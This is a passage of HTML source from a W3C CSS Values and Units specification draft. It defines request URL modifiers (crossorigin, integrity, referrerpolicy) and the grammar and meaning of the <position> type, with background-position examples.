href="#level-4-extensions"></a></h2> See <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>. <h3 class="heading settled" data-level="4.1" id="urls">4.1. Resource Locators: the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#url-value" id="ref-for-url-value"><url></a> type<a class="self-link" href="#urls"></a></h3> See <a href="https://www.w3.org/TR/css-values-4/#urls"><cite>CSS Values 4</cite> § 4.5 Resource Locators: the <url> type</a>. <h4 class="heading settled" data-level="4.1.1" id="request-url-modifiers">4.1.1. Request URL Modifiers<a class="self-link" href="#request-url-modifiers"></a></h4> <dfn class="dfn-paneled css" data-dfn-type="type" data-export id="typedef-request-url-modifier"><a class="production css" data-link-type="type" href="#typedef-request-url-modifier" id="ref-for-typedef-request-url-modifier"><request-url-modifier></a></dfn>s are <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-url-modifier" id="ref-for-typedef-url-modifier"><url-modifier></a>s that affect the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#url-value" id="ref-for-url-value①"><url></a>’s resource <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request" id="ref-for-concept-request">request</a> by applying associated <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#url-request-modifier-steps" id="ref-for-url-request-modifier-steps">URL request modifier steps</a>. See <a href="https://www.w3.org/TR/css-values-4/#url-processing"><cite>CSS Values 4</cite> § 4.5.4 URL Processing Model</a>. This specification defines the following <a class="production css" data-link-type="type" href="#typedef-request-url-modifier" id="ref-for-typedef-request-url-modifier①"><request-url-modifier></a>s: <pre class="prod highlight"><a class="production" data-link-type="type" href="#typedef-request-url-modifier" id="ref-for-typedef-request-url-modifier②"><request-url-modifier></a> = <a class="production" data-link-type="type" href="#typedef-request-url-modifier-crossorigin-modifier" id="ref-for-typedef-request-url-modifier-crossorigin-modifier"><crossorigin-modifier></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②⑦">|</a> <a class="production" data-link-type="type" href="#typedef-request-url-modifier-integrity-modifier" id="ref-for-typedef-request-url-modifier-integrity-modifier"><integrity-modifier></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②⑧">|</a> <a class="production" data-link-type="type" href="#typedef-request-url-modifier-referrerpolicy-modifier" id="ref-for-typedef-request-url-modifier-referrerpolicy-modifier"><referrerpolicy-modifier></a> <a class="production" data-link-type="type" href="#typedef-request-url-modifier-crossorigin-modifier" id="ref-for-typedef-request-url-modifier-crossorigin-modifier①"><crossorigin-modifier></a> = <c- nf>crossorigin</c-><c- p>(</c->anonymous <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②⑨">|</a> use-credentials<c- p>)</c-> <a class="production" data-link-type="type" href="#typedef-request-url-modifier-integrity-modifier" id="ref-for-typedef-request-url-modifier-integrity-modifier①"><integrity-modifier></a> = <c- nf>integrity</c-><c- p>(</c-><a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#string-value" id="ref-for-string-value③"><string></a><c- p>)</c-> <a class="production" data-link-type="type" href="#typedef-request-url-modifier-referrerpolicy-modifier" id="ref-for-typedef-request-url-modifier-referrerpolicy-modifier①"><referrerpolicy-modifier></a> = <c- nf>referrerpolicy</c-><c- p>(</c->no-referrer <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③⓪">|</a> no-referrer-when-downgrade <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③①">|</a> same-origin <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③②">|</a> origin <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③③">|</a> strict-origin <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③④">|</a> origin-when-cross-origin <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③⑤">|</a> strict-origin-when-cross-origin <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③⑥">|</a> unsafe-url<c- p>)</c-> </pre> <dl> <dt><dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="type" data-export id="typedef-request-url-modifier-crossorigin-modifier"><a class="production css" data-link-type="type" href="#typedef-request-url-modifier-crossorigin-modifier" id="ref-for-typedef-request-url-modifier-crossorigin-modifier②"><crossorigin-modifier></a></dfn> = <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="function" data-export data-lt="crossorigin()" id="funcdef-request-url-modifier-crossorigin">crossorigin</dfn>(<dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="value" data-export id="valdef-request-url-modifier-anonymous">anonymous</dfn> | <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="value" data-export id="valdef-request-url-modifier-use-credentials">use-credentials</dfn>) <dd> The <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#url-request-modifier-steps" id="ref-for-url-request-modifier-steps①">URL request modifier steps</a> for this modifier given <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request" id="ref-for-concept-request①">request</a> <var>req</var> are: <ol> <li data-md> Set <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request" id="ref-for-concept-request②">request</a>’s <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request-mode" id="ref-for-concept-request-mode">mode</a> to "cors". <li data-md> If the given value is <a class="css" data-link-type="maybe" href="#valdef-request-url-modifier-use-credentials" id="ref-for-valdef-request-url-modifier-use-credentials">use-credentials</a>, set <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request" id="ref-for-concept-request③">request</a>’s <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request-credentials-mode" id="ref-for-concept-request-credentials-mode">credentials mode</a> to "include". </ol> <dt><dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="type" data-export id="typedef-request-url-modifier-integrity-modifier"><a class="production css" data-link-type="type" href="#typedef-request-url-modifier-integrity-modifier" id="ref-for-typedef-request-url-modifier-integrity-modifier②"><integrity-modifier></a></dfn> = <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="function" data-export data-lt="integrity()" id="funcdef-request-url-modifier-integrity">integrity</dfn>(<a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#string-value" id="ref-for-string-value④"><string></a>) <dd> The <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#url-request-modifier-steps" id="ref-for-url-request-modifier-steps②">URL request modifier steps</a> for this modifier given <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request" id="ref-for-concept-request④">request</a> <var>req</var> are to set request’s <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request-integrity-metadata" id="ref-for-concept-request-integrity-metadata">integrity metadata</a> to the given <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#string-value" id="ref-for-string-value⑤"><string></a>. <dt><dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="type" data-export id="typedef-request-url-modifier-referrerpolicy-modifier"><a class="production css" data-link-type="type" href="#typedef-request-url-modifier-referrerpolicy-modifier" id="ref-for-typedef-request-url-modifier-referrerpolicy-modifier②"><referrerpolicy-modifier></a></dfn> = <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="function" data-export data-lt="referrerpolicy()" id="funcdef-request-url-modifier-referrerpolicy">referrerpolicy</dfn>(<dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="value" data-export id="valdef-request-url-modifier-no-referrer">no-referrer</dfn> | <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="value" data-export id="valdef-request-url-modifier-no-referrer-when-downgrade">no-referrer-when-downgrade</dfn> | <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="value" data-export id="valdef-request-url-modifier-same-origin">same-origin</dfn> | <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="value" data-export id="valdef-request-url-modifier-origin">origin</dfn> | <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="value" data-export id="valdef-request-url-modifier-strict-origin">strict-origin</dfn> | <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="value" data-export id="valdef-request-url-modifier-origin-when-cross-origin">origin-when-cross-origin</dfn> | <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="value" data-export id="valdef-request-url-modifier-strict-origin-when-cross-origin">strict-origin-when-cross-origin</dfn> | <dfn class="dfn-paneled css" data-dfn-for="<request-url-modifier>" data-dfn-type="value" data-export id="valdef-request-url-modifier-unsafe-url">unsafe-url</dfn>) <dd> The <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#url-request-modifier-steps" id="ref-for-url-request-modifier-steps③">URL request modifier steps</a> for this modifier given <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request" id="ref-for-concept-request⑥">request</a> <var>req</var> are to set request’s <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request-referrer-policy" id="ref-for-concept-request-referrer-policy">referrer policy</a> to the <code class="idl"><a data-link-type="idl" href="https://www.w3.org/TR/referrer-policy/#enumdef-referrerpolicy" id="ref-for-enumdef-referrerpolicy">ReferrerPolicy</a></code> that matches the given value. </dl> <div class="algorithm" data-algorithm="apply request modifiers from URL value"> To <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="apply-request-modifiers-from-url-value">apply request modifiers from URL value</dfn> given a <a data-link-type="dfn" href="https://fetch.spec.whatwg.org/#concept-request" id="ref-for-concept-request⑧">request</a> <var>req</var> and a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#url-value" id="ref-for-url-value②"><url></a> <var>url</var>, call the <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#url-request-modifier-steps" id="ref-for-url-request-modifier-steps④">URL request modifier steps</a> for <var>url</var>’s <a class="production css" data-link-type="type" href="#typedef-request-url-modifier" id="ref-for-typedef-request-url-modifier③"><request-url-modifier></a>s in sequence given <var>req</var>. </div> <h3 class="heading settled" data-level="4.2" id="position">4.2. 2D Positioning: the <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position"><position></a> type<a class="self-link" href="#position"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="type" data-export id="typedef-position"><a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position①"><position></a></dfn> value specifies the position of an <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-subject" id="ref-for-alignment-subject">alignment subject</a> (e.g. a background image) inside an <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-container" id="ref-for-alignment-container">alignment container</a> (e.g. its <a data-link-type="dfn" href="https://drafts.csswg.org/css-backgrounds-3/#background-positioning-area" id="ref-for-background-positioning-area">background positioning area</a>) as a pair of offsets between the specified edges (defaulting to the left and top). Its syntax is: <pre class="prod highlight"><a class="production" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position②"><position></a> = <a class="production" data-link-type="type" href="#typedef-position-one" id="ref-for-typedef-position-one"><position-one></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③⑦">|</a> <a class="production" data-link-type="type" href="#typedef-position-two" id="ref-for-typedef-position-two"><position-two></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③⑧">|</a> <a class="production" data-link-type="type" href="#typedef-position-four" id="ref-for-typedef-position-four"><position-four></a> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-position-one"><a class="production" data-link-type="type" href="#typedef-position-one" id="ref-for-typedef-position-one①"><position-one></a></dfn> = <c- p>[</c-> left <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③⑨">|</a> center <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④⓪">|</a> right <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④①">|</a> top <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④②">|</a> bottom <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④③">|</a> x-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④④">|</a> x-end <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④⑤">|</a> y-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④⑥">|</a> y-end <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④⑦">|</a> block-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④⑧">|</a> block-end <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④⑨">|</a> inline-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤⓪">|</a> inline-end <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤①">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage"><length-percentage></a> <c- p>]</c-> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-position-two"><a class="production" data-link-type="type" href="#typedef-position-two" id="ref-for-typedef-position-two①"><position-two></a></dfn> = <c- p>[</c-> <c- p>[</c-> left <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤②">|</a> center <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤③">|</a> right <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤④">|</a> x-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤⑤">|</a> x-end <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-all" id="ref-for-comb-all">&&</a> <c- p>[</c-> top <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤⑥">|</a> center <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤⑦">|</a> bottom <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤⑧">|</a> y-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤⑨">|</a> y-end <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥⓪">|</a> <c- p>[</c-> left <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥①">|</a> center <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥②">|</a> right <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥③">|</a> x-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥④">|</a> x-end <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥⑤">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage①"><length-percentage></a> <c- p>]</c-> <c- p>[</c-> top <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥⑥">|</a> center <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥⑦">|</a> bottom <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥⑧">|</a> y-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥⑨">|</a> y-end <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦⓪">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage②"><length-percentage></a> <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦①">|</a> <c- p>[</c-> block-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦②">|</a> center <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦③">|</a> block-end <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-all" id="ref-for-comb-all①">&&</a> <c- p>[</c-> inline-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦④">|</a> center <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦⑤">|</a> inline-end <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦⑥">|</a> <c- p>[</c-> start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦⑦">|</a> center <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦⑧">|</a> end <c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-num" id="ref-for-mult-num"><c- p>{</c-><c- m>2</c-><c- p>}</c-></a> <c- p>]</c-> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-position-four"><a class="production" data-link-type="type" href="#typedef-position-four" id="ref-for-typedef-position-four①"><position-four></a></dfn> = <c- p>[</c-> <c- p>[</c-> <c- p>[</c-> left <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦⑨">|</a> right <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧⓪">|</a> x-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧①">|</a> x-end <c- p>]</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage③"><length-percentage></a> <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-all" id="ref-for-comb-all②">&&</a> <c- p>[</c-> <c- p>[</c-> top <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧②">|</a> bottom <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧③">|</a> y-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧④">|</a> y-end <c- p>]</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage④"><length-percentage></a> <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧⑤">|</a> <c- p>[</c-> <c- p>[</c-> block-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧⑥">|</a> block-end <c- p>]</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage⑤"><length-percentage></a> <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-all" id="ref-for-comb-all③">&&</a> <c- p>[</c-> <c- p>[</c-> inline-start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧⑦">|</a> inline-end <c- p>]</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage⑥"><length-percentage></a> <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧⑧">|</a> <c- p>[</c-> <c- p>[</c-> start <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧⑨">|</a> end <c- p>]</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage⑦"><length-percentage></a> <c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-num" id="ref-for-mult-num①"><c- p>{</c-><c- m>2</c-><c- p>}</c-></a> <c- p>]</c-> </pre> If only one value is specified (<a class="production css" data-link-type="type" href="#typedef-position-one" id="ref-for-typedef-position-one②"><position-one></a>), the second value is assumed to be <a class="css" data-link-type="maybe" href="#valdef-position-center" id="ref-for-valdef-position-center">center</a>. If two values are given (<a class="production css" data-link-type="type" href="#typedef-position-two" id="ref-for-typedef-position-two②"><position-two></a>), a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage⑧"><length-percentage></a> as the first value represents the horizontal position as the offset between the left edges of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-subject" id="ref-for-alignment-subject①">alignment subject</a> and <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-container" id="ref-for-alignment-container①">alignment container</a>, and a <length-percentage> as the second value represents the vertical position as an offset between their top edges. If both keywords are one of start or end, the first one represents the <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#block-axis" id="ref-for-block-axis">block axis</a> and the second the <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#inline-axis" id="ref-for-inline-axis">inline axis</a>. Note: A pair of axis-specific keywords can be reordered, while a combination of keyword and length or percentage cannot. So center left or inline-start block-end is valid, while 50% left is not. start and end aren’t axis-specific, so start end and end start represent two different positions. If four values are given (<a class="production css" data-link-type="type" href="#typedef-position-four" id="ref-for-typedef-position-four②"><position-four></a>) then each <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage①⓪"><length-percentage></a> represents an offset between the edges specified by the preceding keyword. For example, <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-position" id="ref-for-propdef-background-position">background-position: bottom 10px right 20px</a> represents a 10px vertical offset up from the bottom edge and a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-container" id="ref-for-alignment-container②">alignment container</a>. Negative values represent an offset outward from the edge of the alignment container. <div class="example" id="example-0b808127"> <a class="self-link" href="#example-0b808127"></a> The following declarations give the stated (horizontal, vertical) offsets from the top left corner: <pre class="highlight"><c- k>background-position</c-><c- p>:</c-> left <c- m>10</c-><c- k>px</c-> top <c- m>15</c-><c- k>px</c-><c- p>;</c-> <c- c>/* 10px, 15px */</c-> background-position: left top <c- p>;</c-> <c- c>/* 0px, 0px */</c-> background-position: <c- m>10</c-><c- k>px</c-> <c- m>15</c-><c- k>px</c-><c- p>;</c-> <c- c>/* 10px, 15px */</c-> background-position: left <c- m>15</c-><c- k>px</c-><c- p>;</c-> <c- c>/* 0px, 15px */</c-> background-position: <c- m>10</c-><c- k>px</c-> top <c- p>;</c-> <c- c>/* 10px, 0px */</c-> </pre> </div> <div class="example" id="example-88922ca3"> <a class="self-link" href="#example-88922ca3"></a> <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position③"><position></a>s can also be relative to other corners than the top left. For example, the following puts the background image 10px from the bottom and 3em from the right: <pre class="highlight"><c- k>background-position</c-><c- p>:</c-> right <c- m>3</c-><c- k>em</c-> bottom <c- m>10</c-><c- k>px</c-></pre> </div> The <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value①">computed value</a> of a <a class="production css" data-link-type="type" href="#typedef-position" id="ref-for-typedef-position④"><position></a> is a pair of offsets (horizontal and vertical), each given as a computed <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage①①"><length-percentage></a> value, representing the distance between the left edges and top edges (respectively) of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-subject" id="ref-for-alignment-subject②">alignment subject</a> and <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-container" id="ref-for-alignment-container④">alignment container</a>. <dl> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-length-percentage"><a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage①②"><length-percentage></a></dfn> <dd> A <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-length-percentage" id="ref-for-typedef-length-percentage①③"><length-percentage></a> value specifies the size of the offset between the specified edges of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-subject" id="ref-for-alignment-subject③">alignment subject</a> and <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-container" id="ref-for-alignment-container⑤">alignment container</a>. For example, for <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-position" id="ref-for-propdef-background-position①">background-position: 2cm 1cm</a>, the top left corner of the background image is placed 2cm to the right and 1cm below the top left corner of the <a data-link-type="dfn" href="https://drafts.csswg.org/css-backgrounds-3/#background-positioning-area" id="ref-for-background-positioning-area①">background positioning area</a>. A <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value①"><percentage></a> for the horizontal offset is relative to (<var>width of <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-container" id="ref-for-alignment-container⑥">alignment container</a></var> - <var>width of <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-subject" id="ref-for-alignment-subject④">alignment subject</a></var>). A <percentage> for the vertical offset is relative to (<var>height of <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-container" id="ref-for-alignment-container⑦">alignment container</a></var> - <var>height of <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-subject" id="ref-for-alignment-subject⑤">alignment subject</a></var>). <div class="example" id="example-0fd7dab3"> <a class="self-link" href="#example-0fd7dab3"></a> For example, with a value pair of 0% 0%, the upper left corner of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-subject" id="ref-for-alignment-subject⑥">alignment subject</a> is aligned with the upper left corner of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-container" id="ref-for-alignment-container⑧">alignment container</a> A value pair of 100% 100% places the lower right corner of the alignment subject in the lower right corner of the alignment container. With a value pair of 75% 50%, the point 75% across and 50% down the alignment subject is to be placed at the point 75% across and 50% down the alignment container. <figure> <img alt="Diagram of image position within element" height="269" src="images/bg-pos.png" width="397"> <figcaption> Diagram of the meaning of <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-position" id="ref-for-propdef-background-position②">background-position: 75% 50%</a>. </figcaption> </figure> </div> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-top">top</dfn> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-right">right</dfn> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-bottom">bottom</dfn> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-left">left</dfn> <dd> Offsets the top/left/right/bottom edges (respectively) of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-subject" id="ref-for-alignment-subject⑨">alignment subject</a> and <a data-link-type="dfn" href="https://www.w3.org/TR/css-align-3/#alignment-container" id="ref-for-alignment-container①①">alignment container</a> by the specified amount (defaulting to 0%) in the corresponding axis. <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-y-start">y-start</dfn> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-y-end">y-end</dfn> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-x-start">x-start</dfn> <dt><dfn class="dfn-paneled css" data-dfn-for="<position>" data-dfn-type="value" data-export id="valdef-position-x-end">x-end</dfn> <dd> Computes the same as the physical edge keyword corresponding to the <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#start" id="ref-for-start">start</a>/<a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#end" id="ref-for-end">end</a> side in the <a data-link-type="dfn" href="https://www.w3.org/TR/css-writing-modes-4/#y-axis" id="ref-for-y-axis">y</a>/<a 